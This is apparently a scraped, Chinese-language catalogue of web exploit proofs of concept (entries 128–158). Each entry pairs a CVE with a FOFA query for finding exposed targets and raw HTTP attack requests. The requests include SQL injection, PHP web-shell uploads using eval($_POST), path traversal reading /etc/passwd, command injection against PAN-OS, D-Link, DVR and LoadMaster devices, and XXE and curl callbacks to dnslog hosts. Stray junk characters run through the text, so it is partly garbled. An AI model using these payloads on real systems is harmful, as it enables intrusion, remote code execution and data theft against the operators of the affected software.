Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
  p9 P! r+ E- i; j/ u6 x- N
" F8 Z  `0 j1 R$ ?; [2 U------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

3 O0 r2 S2 {3 E, ]- G/ u. \BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
' B1 w$ q, c/ AContent-Disposition: form-data;name="Params"
) }, U$ z  T! `0 H3 x6 u0 \, l! e& x- [Content-Type: text/plain
/ w" e: n* n  P
. b5 S0 W) o/ Y- T0 J6 Z<?xml version="1.0" encoding="UTF-8"?>
. D4 @" E- j+ B6 }* C0 [<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
  V0 U$ t+ y/ ^+ H8 X: o>
<test>&t;</test>
5 _& ^) Z5 M& ?& C) Z( u------WebKitFormBoundaryJGgV5l5ta05yAIe0--
4 P1 Q7 y6 y8 k2 ?9 K6 M! ~' a) z

8 C0 L* @$ i4 A6 I5 i  O% h7 p4 M/ m
- L" o; y: `* @; E; R128. Adobe ColdFusion 反序列化
CVE-2023-38203
: c0 z+ u  r4 m7 bAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
& k1 d0 p! N+ EPAYLOAD

129. Adobe ColdFusion 任意文件读取
. D9 a0 P, q" H7 G  O: d* vCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
& K& ~( G  o* H0 x! lHost: x.x.x.x
' `/ h: e6 v6 gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

5 K& j' _3 U# }% T+ M5 t
' e5 \  W( F" o1 l, `第二步，读取/etc/passwd文件
# F! h3 v9 f( lGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
1 T3 \/ ^4 l0 G; B/ q% AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
. E2 O6 `) E% i: k# `uuid: 85f60018-a654-4410-a783-f81cbd5000b9
5 N% A: i* n% D+ C2 v
: r4 c% p, p" I, N3 U
  h4 ?: @/ Q0 g- Y- s4 v, t# G130. Laykefu客服系统任意文件上传
. Q  Z0 g$ m2 }" kFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
6 G% |+ v+ j( r# k: e- sAccept-Language: zh-CN,zh;q=0.9
. C) V6 a- A8 ~& q2 w; cCookie: user_name=1; user_id=3
Connection: close
2 e8 p2 c7 k3 I2 {2 N0 u1 j5 J+ g
3 }6 T& F9 N- w5 t# x/ x( [8 {------WebKitFormBoundary3OCVBiwBVsNuB2kR
% V- N0 x* [. w* zContent-Disposition: form-data; name="file"; filename="1.php"
. o% `& {$ G5 k! {. pContent-Type: image/png

* g* t; _% @' q  t. f& O<?php phpinfo();@eval($_POST['sec']);?>
0 c2 [1 B+ d9 I) m% G& R3 K7 a------WebKitFormBoundary3OCVBiwBVsNuB2kR--

- C/ v6 i8 A& y& i6 Z. B
6 n7 F$ y& t" b% r' s131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
) K7 F+ C$ Z& T$ }; t/ `% d7 ?后台地址：http://localhost:8080/tmall/admin
! T. N% v3 P/ Uhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
, R. E7 s4 H4 X+ g% H2 _. o( ?
6 K0 u$ A/ t) O' Y132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
* f  ?, Z8 n# A, T. j) |7 Y9 fCVE-2024-27198
9 p8 X7 S, J* UFOFA：body="Log in to TeamCity"
; K  f( ?5 o% s" u) dPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
* W! T* N4 Y5 [- _0 y( V
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
5 v5 d, A& l7 v6 W4 E9 j  d/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


6 |! ~1 C: l: I. D- w& XCVE-2024-27198-RCE.py
5 O( G+ s6 g' M0 t* r# |+ i
! T: u! c; F5 z  _/ Y/ c/ |9 M. i133. H5 云商城 file.php 文件上传
  t! D$ p6 l6 C" ?) V- `: mFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
8 p# F, x  g6 u) f1 b/ \Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

9 h  s4 I0 }" O. C' t------WebKitFormBoundaryFQqYtrIWb8iBxUCx
% ^+ i9 O% W3 f8 D+ VContent-Disposition: form-data; name="file"; filename="rce.php"
( L$ E8 |' ?  TContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



3 d: t3 ^  U3 _8 N+ m134. 网康NS-ASG应用安全网关index.php sql注入
2 B! _% a0 ]1 o( }6 qCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
. v6 U0 e2 V) T  |POST /protocol/index.php HTTP/1.1
" `5 E7 `( `3 d; y7 V9 ]Host: x.x.x.x
7 @- @+ G; z$ V2 t- ^0 qCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
# g6 k% }, @* c* q; Z& g3 YAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  v7 x. u1 f3 r$ q& T. }Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
" \' W5 B) T9 H/ f) hSec-Fetch-Site: same-origin
Te: trailers
+ p: Z: U( |6 c8 R7 ?Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

; A0 m# Q4 ^/ F) u2 o; y, R3 fjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
6 r5 d- F2 g; L9 n4 ~  _9 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 {# G# g( z+ \& BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, Z1 a" y7 w1 g4 W' rConnection: close
& y' H0 X) l# \- g2 g
4 G) K" E3 t, H( H8 J# X# o; Z
9 D) _2 }0 N) M$ k! U136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
3 e9 T/ ]# U- |9 FHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
7 t9 y! ?9 r1 D0 eAccept: */*
# m8 y8 m6 r9 s/ LAccept-Language: en
) C$ b# \* \" t; g/ D4 i: LAccept-Encoding: gzip
) H' x3 b3 x$ j# w6 F3 q3 s

137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
- c! n+ Z  V/ _5 tFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
  D, _* S, h' Z5 e, OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 l5 ^+ F7 e2 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) i+ S% d, [9 y/ o- m' T7 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 D* W, G9 S( g: A2 T1 xAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

, G% ~8 H4 |, b" h0 I" h
  b& ~' k3 k1 `6 ]1 z2 W138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
) p0 W  h: n% D  o$ e+ q4 T/ BCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
/ b% z* o) z' Y6 WGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* F8 M1 C# {; r5 w0 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
( N( y5 s' ~8 N& A" v" |. ~Upgrade-Insecure-Requests: 1
) M) A" s! i$ w+ u9 c

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
7 K; x9 W6 {3 O, S' A- R: A0 }GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
: t6 F( q7 x) J% ]( H6 C# O5 {Host: x.x.x.x
, ?3 A; L. P* {" a5 [# h1 l1 u5 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 \0 b/ i& F1 U1 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 |0 R9 Z$ y) S7 B) IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* a5 o+ M' @2 i( _3 D$ gConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
/ @. G) O' f) y/ o  r4 _CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
0 c# n4 U# a- qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ m) \. W6 G( SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) h  `/ T) R. f" |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
2 P7 o  Y8 P6 U2 X4 s( w; }Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1

! c( w% B% K; e9 }6 q2 u9 w, i
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
, @8 G# n. ?* W3 z+ CPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
& q+ S+ [1 s% zUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

9 ?: S' x# m% g* ?: z# ?
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


* t( e7 Z1 W, ]142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
* Z" y0 ^2 Z% I- Z3 t: T, T) CFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
6 y6 m, T+ x, s- mFOFA：title='AP setup' && header='netis'
# y, I6 g  J4 V* j% H- mPAYLOAD
/ k" L2 g& }+ Y
) l& H% t8 q" a: j/ n0 G- |5 s144. D-Link nas_sharing.cgi 命令注入
% M3 A8 R- B  CFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
  _0 ~0 j/ H) [* m: `$ h6 vAccept: */*
% d7 b' ]0 k( Y5 \& bAccept-Language: en
8 Y" s" J$ B/ t3 L/ `Accept-Encoding: gzip


/ W5 X9 n9 {: B0 E6 h145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
& {. N6 _6 d) uCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
  G2 C% l+ w: RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
/ E: B) j+ q  u. [8 ~+ MConnection: close
% x8 R- {' c7 S7 I& qCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
" w2 |( w# \8 K' RAccept-Encoding: gzip
  z  Y+ z1 @6 X; ?1 ]/ f: w+ ]

146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
& E' y2 w) s2 o" H, b5 K+ g& K+ oGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
/ w6 u& i( t- i4 ?$ [+ dHost: x.x.x.x
& ?8 }2 [  N. j( h3 w0 l: {# FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
  W" m& Z+ m0 Q; w/ v! F& eAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
2 Y7 I" w. u+ \8 ^/ DConnection: close
. o2 ^7 L" X/ ?4 V( R) u& L0 }

: D4 W: |7 ^1 K147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
' Z( F# V( @$ S; x. lFOFA：body="RaidenMAILD"
9 q/ a5 O  D8 F9 k6 gGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
9 U% z' o  @$ E, lCache-Control: max-age=0
Connection: close

* \. X! V8 E5 ]2 t7 R$ A2 A' x
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
4 F0 r% L$ T! GFOFA：body="CrushFTP"
  Y. G7 a2 g# RPAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
0 p$ M( W1 W  ]8 XFOFA：title="AJ-Report"
( e! R3 [; j1 _  z/ u. M2 B
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" `) l1 m# D& K; qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& A5 D8 t$ z+ Z9 F* }4 z7 L) |Accept-Encoding: gzip, deflate, br
8 C2 b, @& K7 x. ZAccept-Language: zh-CN,zh;q=0.9
; ~1 T% X5 ~0 E# I+ UContent-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

6 o; n! m5 `" {1 [150. AJ-Report 1.4.0 认证绕过与远程代码执行
+ L& R% Q2 N7 `- M1 \+ O$ ]0 w( AFOFA：title="AJ-Report"
- X9 X+ ?4 ?' XPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 @1 Y$ Z5 _7 m; R. SAccept-Encoding: gzip, deflate, br
! N0 M' q" M( p3 ?Accept-Language: zh-CN,zh;q=0.9
: D( K6 n: p( X$ [% A! Z0 M/ mContent-Type: application/json;charset=UTF-8
% d/ Z" i5 \- o' x- cConnection: close
  P  A2 D3 x0 s8 D* EContent-Length: 339
5 `( X* s0 a5 K
; K0 `( D( G8 y% U; c  R9 O5 q{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
6 v0 H$ }0 A2 ~4 ~9 l/ b$ N
8 u/ m9 w; a) G' T& ]
( I3 o& v4 Q7 y. ~9 O+ @( E8 d) i151. AJ-Report 1.4.1 pageList sql注入
4 I. B" P; k, ?$ v: w! kFOFA：title="AJ-Report"
2 |) \+ |+ [3 E' `: xGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
* U6 Q" ]( B/ ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 ?; x" H! \7 }2 Y8 {Accept-Encoding: gzip
3 F3 A5 v$ w) u3 K( a$ S3 @: s% U

1 w9 U: [; c- E6 y& \* B; ~152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
* ^/ C& B$ L7 G, DLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
& x) j" C8 r5 uFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
. w$ q8 g# Q! j' Q1 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
- {; n) Z. o( L, d  e$ Z3 |& s: YAccept: */*
& }5 t  S' y) \( a5 N) o$ HAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
2 B/ b3 y5 {) m3 I+ [7 |- cAccept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
) {  |; C3 a! r) x* }第一步，请求/config文件获取componets的id
+ `6 y# k$ ^6 shttp://x.x.x.x/config
- }, _5 c- ~% W( ^6 T, \. ?

第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
/ t+ F: s: A8 o' F/ bConnection: close
- c" a( R) c! h+ o! BContent-Length: 115
Content-Type: application/json
( Y( r3 `" l/ @5 P5 J2 E) @Accept-Encoding: gzip
- [$ m! ~: e( i( I
$ A$ B) @3 u' ]% P( X) L{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


1 i- N# ~$ n- ^6 ^$ d' J3 @+ x# M第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

8 S( u. g  O5 c! G% n
1 f8 O0 G$ ^4 L( a4 o' c- y4 [& N154. 天维尔消防救援作战调度平台 SQL注入
- U- u3 K! H5 k& K# UCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
1 Q9 s- r2 E8 |  X, WContent-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
2 ^1 k2 H7 l1 z6 j' n( f1 ZOrigin: http://x.x.x.x
, N5 m# t4 ?2 @% W5 gContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+ b* E1 l7 z6 B$ iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
+ ]2 T9 t" N# G5 CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
* M/ B1 B* Z- `8 j6 k# ^

: p: e/ E; B5 y155. 六零导航页 file.php 任意文件上传
4 @* ?% E6 {8 M- f" j8 S; A. xCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
) C4 {1 G8 [+ J' f6 R: zHost: x.x.x.x
7 \8 Q# |8 N) w2 k7 H( z7 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
1 D% m) m' N  ?  l, s, n8 YConnection: close
- h4 U. J) S3 O- l4 w9 sContent-Length: 232
+ t( U$ x# i+ ^- FAccept: application/json, text/javascript, */*; q=0.01
: q6 O4 U: x7 cAccept-Encoding: gzip, deflate, br
2 \+ o8 [: k9 N# Z. U7 Y# UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; l5 }( S  Q* n# w% bContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
6 s: C& W$ Q0 k) {2 v) X1 yX-Requested-With: XMLHttpRequest
$ A9 ?: [4 u" f* o# v) d4 n9 V9 X
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
$ @3 x) q5 u4 r7 [$ |Content-Type: image/png

, u2 H( ^" C0 J/ D  b: a. N<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
7 ]7 {. F0 B+ y( T% M. b
/ y* c4 U. j$ r6 A  a2 l156. TBK DVR-4104/DVR-4216 操作系统命令注入
% ?3 m, N# a' z9 x4 pCVE-2024-3721
  i+ g; G7 ]) N. k2 f2 W2 i0 y6 B" R  xFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
7 Q/ ~% W: J$ \5 E

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
+ B7 h2 G3 ~4 D# {; ~) K0 p; DUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 W! s/ u0 d- u. t) i. QContent-Length: 0
+ Y$ [# ^5 [9 b) k; f) p! YCookie: uid=1
4 |! U3 o" K9 d4 t- O4 Y7 j. yAccept-Encoding: gzip

: V) H' n. k+ D, W! V1 t( c4 I
7 f$ L$ j: v+ A- @( {157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
% w' @+ Y# I. m, M$ n; xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
7 g7 g0 [) j  L8 ]Content-Length: 709
$ r% u/ t% I# H' r  H5 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 }! Z- @/ c' M# Z  S) U3 dAccept-Language: zh-CN,zh;q=0.9
& D2 Q- [4 e$ w) X1 H6 iCache-Control: max-age=0
: l  T3 ?9 u0 w1 a' f: Y$ zConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
) S/ u5 p' `; V( D6 m5 M3 c) V
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
( g& E' [  r# g0 t9 tContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
7 y. G. z' u# V: l* `
/ L! f1 U# |+ l6 l, J3 B9 Inull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
$ u# S6 o1 s+ @6 b: t" V% G
) M0 }6 H* `1 P2 u( Gnull
------WebKitFormBoundary1imovELzPsfzp5dN
/ q( y- m8 n2 @- QContent-Disposition: form-data; name="filetitile"
1 ?3 t+ u( E7 S
+ @$ T8 t1 {: _! F# b0 I0 Inull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
# @0 l( y8 q+ u0 e2 ~
null
% f; H3 m$ }6 t. b; }; p------WebKitFormBoundary1imovELzPsfzp5dN--
+ o- f0 W+ R4 p( ?% e# M
2 _5 R$ f7 y% L8 z$ b: q7 L- ?
8 ]8 q& l* r5 u3 Bhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

3 t( [& K" y/ `5 i0 W158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
